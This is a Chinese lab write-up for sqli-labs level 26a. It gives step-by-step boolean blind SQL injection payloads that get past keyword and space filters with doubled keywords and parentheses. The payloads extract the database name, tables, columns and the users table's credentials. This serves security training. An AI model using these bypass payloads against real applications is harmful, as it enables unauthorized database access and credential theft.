sqli-labs 26a

一、首先判断注入点

id=1

id=1"

 id=1'

 页面没有结果,说明单引号破坏了sql语句的结构,判断是单引号字符型。

二、判断是否有括号

id=2'anandd'1'='1

即2' and '1'='1

如果没有括号,查询语句即为where id = '$id'

执行的语句则是where id = '2' and '1'='1'         回显会是id为2的信息

如果有括号,查询语句即为where id = ('$id')

执行的语句则是where id = ('2' and '1'='1')

mysql会将'2'当作true,然后true and true为true,true则为1

即执行where id = 1        回显会是id为1的信息

由图可知,回显id为1的信息,即闭合为')

三、进行布尔盲注

判断数据库长度

id=1')anandd(length(database())=8)anandd('1

 数据库长度为8

判断数据库名

id=1')anandd(ascii(substr(database(),1,1))=115)anandd('1

去查ascii表,得出115对应s。

后面依次判断出8位...得出数据库名security

判断表名长度

由于我这里用的是windows系统,可能是因为apache解析不了,无法用%a0代替空格,所以这里使用()绕过

id=1')anandd

(length((select(group_concat(table_name))

from(infoorrmation_schema.tables)

where(table_schema='security')))=29)

anandd('1

判断出表名长度为29

判断表名

id=1')anandd

(ascii(substr((select(group_concat(table_name))

from(infoorrmation_schema.tables)

where(table_schema='security')),1,1))=101)

anandd('1

得出101为e

后面依次判断出表名为emails,referers,uagents,users

判断users表的字段名长度

id=1')anandd

(length((select(group_concat(column_name))

from(infoorrmation_schema.columns)

where(table_schema='security')

anandd(table_name='users')))=20)

anandd('1

字段名长度为20

判断users表的字段名

id=1')anandd

(ascii(substr((select(group_concat(column_name))

from(infoorrmation_schema.columns)

where(table_schema='security')

anandd(table_name='users')),1,1))=105)

anandd('1

后面依次判断出字段名为id,username,password

判断users具体数据长度

id=1')anandd

(length((select(group_concat(username,passwoorrd))

from(users)))=189)anandd('1

 

 猜出users具体数据

id=1')anandd

(ascii(substr((select(group_concat(username,passwoorrd))from(users)),1,1))=68)

anandd('1

 最后得出所有数据

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值